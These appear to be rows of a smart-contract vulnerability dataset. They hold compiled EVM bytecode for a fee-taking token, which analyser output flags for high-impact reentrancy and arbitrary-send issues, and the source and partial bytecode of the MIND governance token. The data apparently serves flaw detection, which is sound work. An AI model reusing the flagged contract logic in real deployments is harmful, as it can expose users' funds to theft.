10a7bbb732b960d11b6044820152606401610788565b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b604080518082018252601481527f496e73756666696369656e742042616c616e63650000000000000000000000006020808301919091526001600160a01b038616600090815260079091529182205461119791849061122c565b6001600160a01b0380861660009081526007602052604080822093909355908516815220546111c6908361172d565b6001600160a01b0380851660008181526007602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061121a9086815260200190565b60405180910390a35060019392505050565b600081848411156112505760405162461bcd60e51b81526004016107889190611f8f565b50600061125d8486612103565b95945050505050565b60185460009060ff16156112865761127f84848461113d565b9050610a05565b61129184848461178c565b61129961188b565b156112a6576112a66118f2565b6015541580156112c357506014546001600160a01b038481169116145b156112f3576001600160a01b0384166000908152600760205260409020546112ea57600080fd5b6112f343601555565b604080518082018252601481527f496e73756666696369656e742042616c616e63650000000000000000000000006020808301919091526001600160a01b03871660009081526007909152919091205461134e91849061122c565b6001600160a01b0385166000908152600760205260408120919091556113748585611af6565b61137e5782611389565b611389858585611b3d565b6001600160a01b0385166000908152600760205260409020549091506113af908261172d565b6001600160a01b038086166000908152600760205260409020919091556014548682169116148015906113fb57506001600160a01b0385166000908152600b602052604090205460ff16155b1561148a576016546001600160a01b03868116600081815260076020526040908190205490517f14b6ca96000000000000000000000000000000000000000000000000000000008152600481019290925260248201529116906314b6ca9690604401600060405180830381600087803b15801561147757600080fd5b505af1925050508015611488575060015b505b6014546001600160a01b038581169116148015906114c157506001600160a01b0384166000908152600b602052604090205460ff16155b15611550576016546001600160a01b03858116600081815260076020526040908190205490517f14b6ca96000000000000000000000000000000000000000000000000000000008152600481019290925260248201529116906314b6ca9690604401600060405180830381600087803b15801561153d57600080fd5b505af192505050801561154e575060015b505b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161159591815260200190565b60405180910390a3506001949350505050565b6000610a0583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122c565b6001600160a01b038216301480159061161157506014546001600160a01b03838116911614155b61161a57600080fd5b6001600160a01b0382166000908152600b60205260409020805460ff191682158015919091179091556116cb576016546040517f14b6ca960000000000000000000000000000000000000000000000000000000081526001600160a01b03848116600483015260006024830152909116906314b6ca96906044015b600060405180830381600087803b1580156116af57600080fd5b505af11580156116c3573d6000803e3d6000fd5b505050505050565b6016546001600160a01b03838116600081815260076020526040908190205490517f14b6ca96000000000000000000000000000000000000000000000000000000008152600481019290925260248201529116906314b6ca9690604401611695565b60008061173a8385612073565b905083811015610a055760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610788565b6014546001600160a01b0384811691161461181657600654811115806117ca57506001600160a01b0383166000908152600a602052604090205460ff165b610dcb5760405162461bcd60e51b815260206004820152601660248201527f53656c6c205458204c696d6974204578636565646564000000000000000000006044820152606401610788565b6005548111158061183f57506001600160a01b0382166000908152600a602052604090205460ff165b610dcb5760405162461bcd60e51b815260206004820152601560248201527f427579205458204c696d697420457863656564656400000000000000000000006044820152606401610788565b6014546000906001600160a01b031633148015906118ac575060185460ff16155b80156118d2575060165474010000000000000000000000000000000000000000900460ff165b8015610af057505060175430600090815260076020526040902054101590565b6018805460ff19166001179055601754604080516002808252606082018352600092602083019080368337019050509050308160008151811061193757611937612149565b6001600160a01b039283166020918202929092010152600180548351921691839190811061196757611967612149565b6001600160a01b0392831660209182029290920101526013546040517f791ac9470000000000000000000000000000000000000000000000000000000081524792919091169063791ac947906119ca908690600090879030904290600401612002565b600060405180830381600087803b1580156119e457600080fd5b505af11580156119f8573d6000803e3d6000fd5b505050506000611a1182476115a890919063ffffffff16565b90506000611a36601054611a30600e5485611d0790919063ffffffff16565b90611da2565b90506000611a4483836115a8565b9050601660009054906101000a90046001600160a01b03166001600160a01b031663d0e30db0836040518263ffffffff1660e01b81526004016000604051808303818588803b158015611a9657600080fd5b505af193505050508015611aa8575060015b506012546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611ae3573d6000803e3d6000fd5b50506018805460ff191690555050505050565b6001600160a01b03821660009081526009602052604081205460ff1680611b3557506001600160a01b03821660009081526009602052604090205460ff165b159392505050565b601454600090819081906001600160a01b03878116911614611b7b57506001600160a01b0385166000908152600c602052604090205460ff16611b99565b506001600160a01b0384166000908152600c602052604090205460ff165b8080611bb4575043600d54601554611bb19190612073565b10155b15611c6157601154611bd590611a30611bce8260016115a8565b8790611d07565b6002546001600160a01b0316600090815260076020526040902054909250611bfd908361172d565b600280546001600160a01b03908116600090815260076020908152604091829020949094559154915185815291811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3611cf3565b611c7c601154611a3060105487611d0790919063ffffffff16565b30600090815260076020526040902054909250611c99908361172d565b30600081815260076020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611cea9086815260200190565b60405180910390a35b611cfd84836115a8565b9695505050505050565b600082611d16575060006107fd565b6000611d2283856120c6565b905082611d2f858361208b565b14610a055760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610788565b6000610a0583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525060008183611e005760405162461bcd60e51b81526004016107889190611f8f565b50600061125d848661208b565b8035801515811461092057600080fd5b600060208284031215611e2f57600080fd5b8135610a0581612178565b60008060408385031215611e4d57600080fd5b8235611e5881612178565b91506020830135611e6881612178565b809150509250929050565b600080600060608486031215611e8857600080fd5b8335611e9381612178565b92506020840135611ea381612178565b929592945050506040919091013590565b60008060408385031215611ec757600080fd5b8235611ed281612178565b9150611ee060208401611e0d565b90509250929050565b60008060408385031215611efc57600080fd5b8235611f0781612178565b946020939093013593505050565b60008060408385031215611f2857600080fd5b611f0783611e0d565b600060208284031215611f4357600080fd5b5035919050565b600060208284031215611f5c57600080fd5b5051919050565b600080600060608486031215611f7857600080fd5b505081359360208301359350604090920135919050565b600060208083528351808285015260005b81811015611fbc57858101830151858201604001528201611fa0565b81811115611fce576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120525784516001600160a01b03168352938301939183019160010161202d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156120865761208661211a565b500190565b6000826120c1577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156120fe576120fe61211a565b500290565b6000828210156121155761211561211a565b500390565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6001600160a01b038116811461218d57600080fd5b5056fea2646970667358221220ce6881b65aedf068c241af9a12eee4f5464550699c2076cbcefd02985e161f8364736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,166 |
0x2e69a5b4243a60f445d2c10810446a20faadef1d | /**
*Submitted for verification at Etherscan.io on 2022-02-06
*/
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract MIND {
/// @notice EIP-20 token name for this token
string public constant name = "Mind Uploading DAO";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "MIND";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 1_000_000_000e18;
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Mind token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Mind::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Mind::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Mind::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Mind::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Mind::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Mind::delegateBySig: invalid nonce");
require(now <= expiry, "Mind::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Mind::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Mind::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Mind::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Mind::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Mind::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Mind::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "Mind::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "Mind::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063b4b5ea5711610071578063b4b5ea5714610358578063c3cda52014610388578063dd62ed3e146103a4578063e7a324dc146103d4578063f1127ed8146103f257610121565b806370a082311461027a578063782d6fe1146102aa5780637ecebe00146102da57806395d89b411461030a578063a9059cbb1461032857610121565b806323b872dd116100f457806323b872dd146101b0578063313ce567146101e0578063587cde1e146101fe5780635c19a95c1461022e5780636fcfff451461024a57610121565b806306fdde0314610126578063095ea7b31461014457806318160ddd1461017457806320606b7014610192575b600080fd5b61012e610423565b60405161013b9190612867565b60405180910390f35b61015e6004803603610159919081019061214e565b61045c565b60405161016b9190612762565b60405180910390f35b61017c6105ee565b604051610189919061296b565b60405180910390f35b61019a6105fe565b6040516101a7919061277d565b60405180910390f35b6101ca60048036036101c591908101906120ff565b610615565b6040516101d79190612762565b60405180910390f35b6101e86108a7565b6040516101f591906129ca565b60405180910390f35b6102186004803603610213919081019061209a565b6108ac565b6040516102259190612747565b60405180910390f35b6102486004803603610243919081019061209a565b6108df565b005b610264600480360361025f919081019061209a565b6108ec565b6040516102719190612986565b60405180910390f35b610294600480360361028f919081019061209a565b61090f565b6040516102a1919061296b565b60405180910390f35b6102c460048036036102bf919081019061214e565b61097e565b6040516102d19190612a00565b60405180910390f35b6102f460048036036102ef919081019061209a565b610d91565b604051610301919061296b565b60405180910390f35b610312610da9565b60405161031f9190612867565b60405180910390f35b610342600480360361033d919081019061214e565b610de2565b60405161034f9190612762565b60405180910390f35b610372600480360361036d919081019061209a565b610e1f565b60405161037f9190612a00565b60405180910390f35b6103a2600480360361039d919081019061218a565b610f0d565b005b6103be60048036036103b991908101906120c3565b6111b0565b6040516103cb919061296b565b60405180910390f35b6103dc61125c565b6040516103e9919061277d565b60405180910390f35b61040c60048036036104079190810190612213565b611273565b60405161041a9291906129a1565b60405180910390f35b6040518060400160405280601281526020017f4d696e642055706c6f6164696e672044414f000000000000000000000000000081525081565b6000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156104af577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90506104d4565b6104d183604051806060016040528060258152602001612d1d602591396112cc565b90505b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516105db91906129e5565b60405180910390a3600191505092915050565b6b033b2e3c9fd0803ce800000081565b60405161060a9061271d565b604051809103902081565b60008033905060008060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905060006106d785604051806060016040528060258152602001612d1d602591396112cc565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561075157507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6bffffffffffffffffffffffff16826bffffffffffffffffffffffff1614155b1561088e57600061077b83836040518060600160405280603d8152602001612c1e603d913961132a565b9050806000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508373ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161088491906129e5565b60405180910390a3505b61089987878361139b565b600193505050509392505050565b601281565b60026020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108e9338261177c565b50565b60046020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff169050919050565b60004382106109c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b9906128cb565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415610a2f576000915050610d8b565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff1611610b3157600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff16915050610d8b565b82600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161115610bb2576000915050610d8b565b600080905060006001830390505b8163ffffffff168163ffffffff161115610d0d576000600283830363ffffffff1681610be857fe5b0482039050610bf5612003565b600360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff1681526020016000820160049054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905086816000015163ffffffff161415610ce557806020015195505050505050610d8b565b86816000015163ffffffff161015610cff57819350610d06565b6001820392505b5050610bc0565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff1693505050505b92915050565b60056020528060005260406000206000915090505481565b6040518060400160405280600481526020017f4d494e440000000000000000000000000000000000000000000000000000000081525081565b600080610e0783604051806060016040528060268152602001612bf8602691396112cc565b9050610e1433858361139b565b600191505092915050565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff1611610e89576000610f05565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b915050919050565b6000604051610f1b9061271d565b60405180910390206040518060400160405280601281526020017f4d696e642055706c6f6164696e672044414f000000000000000000000000000081525080519060200120610f6861193c565b30604051602001610f7c94939291906127dd565b6040516020818303038152906040528051906020012090506000604051610fa290612732565b6040518091039020888888604051602001610fc09493929190612798565b60405160208183030381529060405280519060200120905060008282604051602001610fed9291906126e6565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161102a9493929190612822565b6020604051602081039080840390855afa15801561104c573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf9061290b565b60405180910390fd5b600560008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914611157576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114e9061292b565b60405180910390fd5b8742111561119a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611191906128eb565b60405180910390fd5b6111a4818b61177c565b50505050505050505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff16905092915050565b60405161126890612732565b604051809103902081565b6003602052816000526040600020602052806000526040600020600091509150508060000160009054906101000a900463ffffffff16908060000160049054906101000a90046bffffffffffffffffffffffff16905082565b60006c0100000000000000000000000083108290611320576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113179190612889565b60405180910390fd5b5082905092915050565b6000836bffffffffffffffffffffffff16836bffffffffffffffffffffffff161115829061138e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113859190612889565b60405180910390fd5b5082840390509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561140b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611402906128ab565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561147b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114729061294b565b60405180910390fd5b6114f5600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060368152602001612c5b6036913961132a565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055506115dc600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff1682604051806060016040528060308152602001612cb960309139611949565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116a691906129e5565b60405180910390a3611777600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836119bf565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a46119368284836119bf565b50505050565b6000804690508091505090565b6000808385019050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff16101583906119b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119aa9190612889565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611a0957506000816bffffffffffffffffffffffff16115b15611cb557600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b61576000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611aac576000611b28565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611b4f8285604051806060016040528060288152602001612c916028913961132a565b9050611b5d86848484611cba565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611cb4576000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff1611611bff576000611c7b565b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000611ca28285604051806060016040528060278152602001612bd160279139611949565b9050611cb085848484611cba565b5050505b5b505050565b6000611cde43604051806060016040528060348152602001612ce960349139611fad565b905060008463ffffffff16118015611d7357508063ffffffff16600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001870363ffffffff